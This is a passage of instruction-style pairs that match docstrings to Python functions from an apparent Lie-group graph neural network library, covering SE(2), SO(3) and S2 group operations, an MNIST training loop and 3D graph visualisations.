return r2_riemannian_sqdist(Gg, Gh, Re)
[INST] Return the group elements of graph's vertices.. [/INST] def group_element(self):
return self.vertex_x, self.vertex_y
[INST] Return the general linear group elements of graph's vertices.. [/INST] def general_linear_group_element(self):
return r2_matrix(self.vertex_x, self.vertex_y)
[INST] Return the name of the group's dimensions.. [/INST] def group_dim(self):
return ["x", "y"]
[INST] Return the cartesian positions of the graph's vertices.. [/INST] def cartesian_pos(self, axis=None):
if axis is None:
return self.vertex_x, self.vertex_y, torch.zeros(self.num_vertices)
if axis == "x":
return self.vertex_x
if axis == "y":
return self.vertex_y
if axis == "z":
return torch.zeros(self.num_vertices)
[INST] Returns the graph's vertices attributes.. [/INST] def vertex_attributes(self):
return ("vertex_x", "vertex_y")
[INST] Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the
riemannian metric Re.. [/INST] def riemannian_sqdist(self, Gg, Gh, Re):
return so3_riemannian_sqdist(Gg, Gh, Re)
[INST] Return the group elements of graph's vertices.. [/INST] def group_element(self):
return self.vertex_alpha, self.vertex_beta, self.vertex_gamma
[INST] Return the general linear group elements of graph's vertices.. [/INST] def general_linear_group_element(self):
return so3_matrix(self.vertex_alpha, self.vertex_beta, self.vertex_gamma)
[INST] Return the name of the group's dimensions.. [/INST] def group_dim(self):
return ["alpha", "beta", "gamma"]
[INST] Return the cartesian positions of the graph's vertices.. [/INST] def cartesian_pos(self, axis=None):
if not axis is None:
return (2 * math.pi + self.vertex_alpha) * betagamma2xyz(self.vertex_beta, self.vertex_gamma, axis)
x, y, z = betagamma2xyz(self.vertex_beta, self.vertex_gamma, axis)
x *= 2 * math.pi + self.vertex_alpha
y *= 2 * math.pi + self.vertex_alpha
z *= 2 * math.pi + self.vertex_alpha
return x, y, z
[INST] Returns the graph's vertices attributes.. [/INST] def vertex_attributes(self):
return ("vertex_alpha", "vertex_beta", "vertex_gamma")
[INST] Return the riemannian squared distance between GL(3) group elements Gg and Gh according to the
riemannian metric Re.. [/INST] def riemannian_sqdist(self, Gg, Gh, Re):
return s2_riemannian_sqdist(Gg, Gh, Re)
[INST] Return the group elements of graph's vertices.. [/INST] def group_element(self):
return self.vertex_beta, self.vertex_gamma
[INST] Return the general linear group elements of graph's vertices.. [/INST] def general_linear_group_element(self):
return s2_matrix(self.vertex_beta, self.vertex_gamma)
[INST] Return the name of the group's dimensions.. [/INST] def group_dim(self):
return ["beta", "gamma"]
[INST] Return the cartesian positions of the graph's vertices.. [/INST] def cartesian_pos(self, axis=None):
return betagamma2xyz(self.vertex_beta, self.vertex_gamma, axis)
[INST] Returns the graph's vertices attributes.. [/INST] def vertex_attributes(self):
return ("vertex_beta", "vertex_gamma")
[INST] Returns a new tensor corresponding to matrix formulation of the given input tensors representing
R(2) group elements.. [/INST] def r2_matrix(x, y, device=None):
G = torch.zeros((x.nelement(), 3, 3), device=device)
G[..., 0, 2] = x
G[..., 1, 2] = y
G[..., 0, 0] = 1.0
G[..., 1, 1] = 1.0
G[..., 2, 2] = 1.0
return G
[INST] Returns a new tensor corresponding to matrix formulation of the given input tensors representing
SE(2) group elements.. [/INST] def se2_matrix(x, y, theta, device=None):
G = rotation_matrix(theta, "z", device=device)
G[:, 0, 2] = x
G[:, 1, 2] = y
return G
[INST] Returns a new tensor corresponding to the inverse of the group elements in matrix formulation.. [/INST] def r2_inverse(G):
return torch.inverse(G)
[INST] Returns a new tensor corresponding to the inverse of the group elements in matrix formulation.. [/INST] def se2_inverse(G):
return torch.inverse(G)
[INST] Returns three new tensors corresponding to x, y and theta attributes of the group elements specified by the
se2 group elements in matrix formulation.. [/INST] def se2_element(G):
return G[..., 0, 2], G[..., 1, 2], torch.atan2(G[..., 1, 0], G[..., 0, 0])
[INST] Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation.. [/INST] def r2_log(G):
x, y = r2_element(G)
c1 = x
c2 = y
c3 = torch.zeros_like(c1)
c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)
return c
[INST] Returns a new tensor containing the riemannnian logarithm of the group elements in matrix formulation.. [/INST] def se2_log(G):
x, y, theta = se2_element(G)
c1 = theta / 2 * (y + x * torch.cos(theta / 2) / torch.sin(theta / 2))
c2 = -theta / 2 * (x + y * torch.cos(theta / 2) / torch.sin(theta / 2))
c3 = theta.clone()
mask = theta == 0.0
c1[mask] = x[mask]
c2[mask] = y[mask]
c = torch.stack((c1, c2, c3), dim=-1).unsqueeze(2)
return c
[INST] Return the squared riemannian distances between group elements in matrix formulation.. [/INST] def r2_riemannian_sqdist(Gg, Gh, Re):
G = torch.matmul(r2_inverse(Gg), Gh)
return weighted_norm(r2_log(G), Re)
[INST] Returns the squared riemannian distances between group elements in matrix formulation.. [/INST] def se2_riemannian_sqdist(Gg, Gh, Re):
G = torch.matmul(se2_inverse(Gg), Gh)
x, y, theta = se2_element(G)
sqdist1 = weighted_norm(se2_log(se2_matrix(x, y, theta)), Re)
sqdist2 = weighted_norm(se2_log(se2_matrix(x, y, theta - math.pi)), Re)
sqdist3 = weighted_norm(se2_log(se2_matrix(x, y, theta + math.pi)), Re)
sqdist, _ = torch.stack((sqdist1, sqdist2, sqdist3)).min(dim=0)
return sqdist
[INST] Trains a model on MNIST and evaluates its performance on MNIST, Flip-MNIST and 90Rot-MNIST.. [/INST] def train(config=None):
with wandb.init(config=config, project="cheblienet"):
config = wandb.config
wandb.log({"dataset": "mnist"})
wandb.log(vars(args))
device = torch.device("cuda" if torch.cuda.is_available() and args.cuda else "cpu")
if args.anisotropic:
graph = SE2GEGraph(
[28, 28, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi),
path_to_graph=args.path_to_graph,
)
else:
graph = R2GEGraph(
[28, 28, config.ntheta],
K=config.K,
sigmas=(1.0, config.eps, config.xi),
path_to_graph=args.path_to_graph,
)
sub_graph = RandomSubGraph(graph)
model = WideResSE2GEChebNet(
in_channels=1,
out_channels=10,
kernel_size=config.kernel_size,
graph_lvl0=sub_graph,
res_depth=args.res_depth,
widen_factor=args.widen_factor,
).to(device)
wandb.log({"capacity": capacity(model)})
optimizer = Adam(model.parameters(), lr=args.lr)
train_loader, _ = get_train_val_loaders(
"mnist",
num_layers=config.ntheta,
batch_size=args.batch_size,
val_ratio=0.0,
path_to_data=args.path_to_data,
)
(classic_test_loader, rotated_test_loader, flipped_test_loader,) = get_equiv_test_loaders(
"mnist", num_layers=config.ntheta, batch_size=args.batch_size, path_to_data=args.path_to_data
)
trainer = create_supervised_trainer(
graph=sub_graph,
model=model,
optimizer=optimizer,
loss_fn=nll_loss,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Training").attach(trainer)
classic_metrics = {"classic_test_accuracy": Accuracy(), "classic_test_loss": Loss(nll_loss)}
rotated_metrics = {"rotated_test_accuracy": Accuracy(), "rotated_test_loss": Loss(nll_loss)}
flipped_metrics = {"flipped_test_accuracy": Accuracy(), "flipped_test_loss": Loss(nll_loss)}
classic_evaluator = create_supervised_evaluator(
graph=sub_graph,
model=model,
metrics=classic_metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(classic_evaluator)
rotated_evaluator = create_supervised_evaluator(
graph=sub_graph,
model=model,
metrics=rotated_metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(rotated_evaluator)
flipped_evaluator = create_supervised_evaluator(
graph=sub_graph,
model=model,
metrics=flipped_metrics,
device=device,
prepare_batch=prepare_batch,
)
ProgressBar(persist=False, desc="Evaluation").attach(flipped_evaluator)
if args.sample_edges or args.sample_vertices:
trainer.add_event_handler(
Events.ITERATION_STARTED,
sub_graph.reinit,
)
trainer.add_event_handler(
Events.EPOCH_COMPLETED,
sub_graph.reinit,
)
if args.sample_vertices:
trainer.add_event_handler(
Events.ITERATION_STARTED,
sub_graph.vertices_sampling,
args.vertices_rate,
)
if args.sample_edges:
trainer.add_event_handler(
Events.ITERATION_STARTED,
sub_graph.edges_sampling,
args.edges_rate,
)
if args.save_models:
gst = lambda *_: trainer.state.epoch
handler = Checkpoint(
{"model": model}, DiskSaver(args.path_to_model, create_dir=True), n_saved=5, global_step_transform=gst
)
trainer.add_event_handler(Events.EPOCH_COMPLETED, handler)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, classic_evaluator, classic_test_loader)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, rotated_evaluator, rotated_test_loader)
trainer.add_event_handler(Events.EPOCH_COMPLETED, wandb_log, flipped_evaluator, flipped_test_loader)
trainer.run(train_loader, max_epochs=args.max_epochs)
[INST] Visualize graph's vertices.. [/INST] def visualize_graph(graph):
df = pd.DataFrame({"vertex_index": graph.vertex_index})
df["X"], df["Y"], df["Z"] = graph.cartesian_pos()
for attr in graph.vertex_attributes:
df[attr] = getattr(graph, attr)
fig = px.scatter_3d(df, x="X", y="Y", z="Z", hover_data=list(graph.vertex_attributes) + ["vertex_index"])
fig.update_traces(
marker={"size": 5, "color": "crimson", "line": {"width": 2, "color": "DarkSlateGrey"}, "opacity": 1.0},
)
fig.update_layout(width=500, height=500, margin={"l": 0, "r": 0, "t": 0, "b": 0})
fig.show()
[INST] Visualize a signal on the graph's vertices.. [/INST] def visualize_graph_signal(graph, signal):
df = pd.DataFrame({"vertex_index": graph.vertex_index})
df["X"], df["Y"], df["Z"] = graph.cartesian_pos()
df["signal"] = signal
for attr in graph.vertex_attributes:
df[attr] = getattr(graph, attr)
fig = px.scatter_3d(
df,
x="X",
y="Y",
z="Z",
color="signal",
hover_data=list(graph.vertex_attributes) + ["signal", "vertex_index"],
color_continuous_scale="PiYG",
color_continuous_midpoint=0.0,
)
fig.update_traces(
marker={"size": 5, "opacity": 1.0},
)
fig.update_layout(
width=600,
height=500,
margin=dict(l=0, r=0, t=0, b=50),
)
fig.show()
[INST] Visualize graph neighborhood of the given vertex.. [/INST] def visualize_graph_neighborhood(graph, vertex_index):
df1 = pd.DataFrame()
df1["vertex_index"], df1["weight"], df1["sqdist"] = graph.neighborhood(vertex_index)
df2 = pd.DataFrame({"vertex_index": graph.vertex_index})
df2["X"], df2["Y"], df2["Z"] = graph.cartesian_pos()
for attr in graph.vertex_attributes:
df2[attr] = getattr(graph, attr)
df = pd.merge(df1, df2, on="vertex_index", how="right")
df.weight.fillna(0.0, inplace=True)
fig = px.scatter_3d(
df,
x="X",
y="Y",
z="Z",
color="weight",
hover_data=list(graph.vertex_attributes) + ["weight", "sqdist", "vertex_index"],
color_continuous_scale="PuRd",
range_color=[0, 1],
)
fig.update_traces(
marker={"size": 5, "opacity": 1.0},
)
fig.update_layout(width=600, height=500, margin={"l": 0, "r": 0, "t": 0, "b": 0})
fig.show()
[INST] Returns a new tensor whose elements corresepond to the modulo with offset of the elements of the input.. [/INST] def mod(input, n, d=0.0):
return (input - d) % n + d
[INST] Returns a new tensor whose elements correspond to the sinus cardinal of the elements of the input.. [/INST] def sinc(input):
output = torch.sin(input) / input
output[input == 0.0] = 1.0
return output
[INST] Returns a new tensor with the rounded to n decimal places version of the elements of the input.. [/INST] def round(input, n_digits=0):
return torch.round(input * 10 ** n_digits) / (10 ** n_digits)